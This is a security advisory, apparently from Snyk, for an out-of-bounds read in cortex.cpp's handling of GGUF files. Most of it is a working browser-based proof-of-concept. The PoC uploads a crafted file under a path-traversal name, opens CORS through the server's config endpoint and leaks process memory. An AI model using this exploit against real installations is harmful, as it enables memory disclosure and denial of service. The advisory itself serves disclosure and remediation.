Out-of-bounds Read Affecting janhq/cortex.cpp package, versions [,1.0.11-rc11)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-JANHQCORTEXCPP-9460792
  • published18 Mar 2025
  • disclosed17 Mar 2025
  • creditRaul Onitza-Klugman (Snyk Security Research)

Introduced: 17 Mar 2025

NewCVE-2025-2439  (opens in a new tab)
CWE-125  (opens in a new tab)

How to fix?

Upgrade janhq/cortex.cpp to version 1.0.11-rc11 or higher.

Overview

Affected versions of this package are vulnerable to Out-of-bounds Read by missing validation of a metadata string’s size and a metadata array’s length in a GGUF file uploaded to the server. This can cause the server to crash (Denial-of-Serivce DoS) or read sensitive data from the process memory.

PoC

<html>
   <head>
       <meta charset="UTF-8">
       <title>Cortex.cpp OOB read3r!</title>
   </head>
   <body>
       <h1>    Cortex.cpp OOB read3r!</h1>
       <textarea id="output" style="width: 560px; height: 560px;"></textarea>


       <script> 
           function createGGUF(leakLength) {
               const GGUF_MAGIC = new Uint8Array([...new TextEncoder().encode("GGUF"), 0x03]);
               const nameKey = new TextEncoder().encode("general.name");
               let header = new Uint8Array(32);
               header.set(GGUF_MAGIC, 0);
               new DataView(header.buffer).setUint32(16, 1, true);
               new DataView(header.buffer).setUint32(24, nameKey.length, true);
               let metadata = new Uint8Array(nameKey.length + 12);
               metadata.set(nameKey, 0);
               new DataView(metadata.buffer).setUint32(nameKey.length, 0x8, true);
               new DataView(metadata.buffer).setUint32(nameKey.length + 4, leakLength, true);


               let ggufBuffer = new Uint8Array(header.length + metadata.length);
               ggufBuffer.set(header, 0);
               ggufBuffer.set(metadata, header.length);


               return ggufBuffer;
           }
           // #1 - Upload crafted GGUF file.
           async function uploadGGUF(){
               const leakLength = 0x1000;
               let payload = createGGUF(leakLength);


               const formData = new FormData()
               formData.append('file', new Blob([payload], { type: "application/octet-stream" }), "../../oob.gguf")
               formData.append('purpose', 'assistants')
               await fetch('http://127.0.0.1:39281/v1/files', {
                       method: 'POST',
                       mode: 'no-cors',
                       body: formData
                   });
           }
           // #2 - Import model.
           async function importModel(){
               try {
                   await fetch("http://127.0.0.1:39281/v1/models/import", {
                       method: "POST",
                       headers: {"Content-Type": "application/json"},
                       body: JSON.stringify({
                           "model": "oob-read-4",
                           "modelPath": "~/oob.gguf",
                           "name": "", // Must be empty for our data to leak.
                           "option": "symlink"
                           })
                       });
               } catch(error) {
                   console.log(`CORS error triggered but that's fine - model imported!`);
               }
           }
           // #3 - Disable CORS.
           async function disableCORS() {
               await fetch("http://127.0.0.1:39281/v1/configs", {
                       method: "PATCH",
                       headers: {"Content-Type": "application/json"},
                       body: JSON.stringify({
                           "cors": true,
                           "allowed_origins": ["*"]
                       })
                   });
           }
           // #4 - Leak data.
           async function leakData() {
               let res = await fetch("http://127.0.0.1:39281/v1/models/oob-read-4", {
                       method: "GET",
                       headers: {"Content-Type": "application/json"}
                   });
              
               let oobJSON = await res.json();
               document.getElementById("output").textContent = hexy(oobJSON?.name);
           }


           // Run exploit.
           (async () => {
               let steps = [uploadGGUF, importModel, disableCORS, leakData]; 
               for (const s of steps) {
                   await s();
               }  
           })();


       </script>
   </body>
</html>

CVSS Base Scores

version 4.0
version 3.1